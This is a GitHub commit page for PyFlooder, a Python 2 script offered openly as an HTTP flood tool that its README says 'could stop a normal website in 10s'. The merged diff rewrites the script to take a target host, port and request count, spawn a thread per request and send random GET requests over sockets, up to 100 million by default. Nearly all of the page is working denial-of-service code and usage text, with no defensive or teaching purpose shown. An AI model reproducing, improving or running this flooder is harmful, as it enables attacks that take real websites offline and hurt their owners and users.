Skip to content

Commit

Permalink
Merge pull request D4Vinci#4 from ewohltman/master
Browse files Browse the repository at this point in the history
Update threading and sending of HTTP request on raw socket
  • Loading branch information
D4Vinci authored Sep 9, 2018
2 parents d7bdb74 + bbb3969 commit a730389
Show file tree
Hide file tree
Showing 3 changed files with 79 additions and 43 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -87,3 +87,6 @@ ENV/

# Rope project settings
.ropeproject

# IntelliJ Settings
.idea/*
6 changes: 2 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,8 @@
# PyFlooder
A [http flood](https://en.m.wikipedia.org/wiki/HTTP_Flood) python script that could stop a normal website in 10s
An [HTTP Flood](https://en.m.wikipedia.org/wiki/HTTP_Flood) Python script that could stop a normal website in 10s

# How does it work ?
-It generates a random get requests and uees it to send to the target.

-By repeating this step for thousands of times in second the target stops :D
It generates a configurable number of random GET requests and sends them to the target

# Usage

Expand Down
113 changes: 74 additions & 39 deletions pyflooder.py
Original file line number Diff line number Diff line change
@@ -1,62 +1,97 @@
# -*- coding: utf-8 -*-
#Author : D4Vinci
#All copyrights to Squnity team
# Author : D4Vinci
# All copyrights to Squnity team

import socket,sys,random,time,string,threading
import random
import socket
import string
import sys
import threading
import time

try:
host = str(sys.argv[1]).replace("https://","").replace("http://","").replace("www","")
ip = socket.gethostbyname( host )
except:
print " Error:\nMake sure you entered the correct website"
sys.exit(0)
# Parse inputs
host = ""
ip = ""
port = 0
num_requests = 0

if len(sys.argv)<4:
if len(sys.argv) == 2:
port = 80
ran=100000000

elif len(sys.argv)==4:
num_requests = 100000000
elif len(sys.argv) == 3:
port = int(sys.argv[2])
ran=int(sys.argv[3])

num_requests = 100000000
elif len(sys.argv) == 4:
port = int(sys.argv[2])
num_requests = int(sys.argv[3])
else:
print "ERROR\n Usage : pyflooder.py hostname port how_many_attacks"
print "ERROR\n Usage: " + sys.argv[0] + " < Hostname > < Port > < Number_of_Attacks >"
sys.exit(1)

# Convert FQDN to IP
try:
host = str(sys.argv[1]).replace("https://", "").replace("http://", "").replace("www.", "")
ip = socket.gethostbyname(host)
except socket.gaierror:
print " ERROR\n Make sure you entered a correct website"
sys.exit(2)

# Create a shared variable for thread counts
thread_num = 0
thread_num_mutex = threading.Lock()


# Print thread status
def print_status():
global thread_num
thread_num_mutex.acquire(True)

thread_num += 1
print "\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num) + "] #-#-# Hold Your Tears #-#-#"

thread_num_mutex.release()


# Generate URL Path
def generate_url_path():
msg = str(string.letters + string.digits + string.punctuation)
data = "".join(random.sample(msg, 5))
return data

global n
n=0

# Perform the request
def attack():
print_status()
url_path = generate_url_path()

ip = socket.gethostbyname( host )
global n
msg=str(string.letters+string.digits+string.punctuation)
data="".join(random.sample(msg,5))
# Create a raw socket
dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
n+=1
# Open the connection on that raw socket
dos.connect((ip, port))
dos.send( "GET /%s HTTP/1.1\r\n" % data )
print "\n "+time.ctime().split(" ")[3]+" "+"["+str(n)+"] #-#-# Hold Your Tears #-#-#"

except socket.error:
print "\n [ No connection! Server maybe down ] "
# Send the request according to HTTP spec
dos.send("GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host))
except socket.error, e:
print "\n [ No connection, server may be down ]: " + str(e)
finally:
# Close our socket gracefully
dos.shutdown(socket.SHUT_RDWR)
dos.close()

dos.close()

print "[#] Attack started on",host,"|",ip,"\n"
nn=0
print "[#] Attack started on " + host + " (" + ip + ") || Port: " + str(port) + " || # Requests: " + str(num_requests)

for i in xrange(ran):
nn+=1
# Spawn a thread per request
all_threads = []
for i in xrange(num_requests):
t1 = threading.Thread(target=attack)
t1.daemon =True # if thread is exist, it dies
t1.start()
all_threads.append(t1)

t2 = threading.Thread(target=attack)
t2.daemon =True # if thread is exist, it dies
t2.start()
# Adjusting this sleep time will affect requests per second
time.sleep(0.01)

if nn==100:
nn=0
time.sleep(0.01)
for current_thread in all_threads:
current_thread.join() # Make the main thread wait for the children threads

0 comments on commit a730389

Please sign in to comment.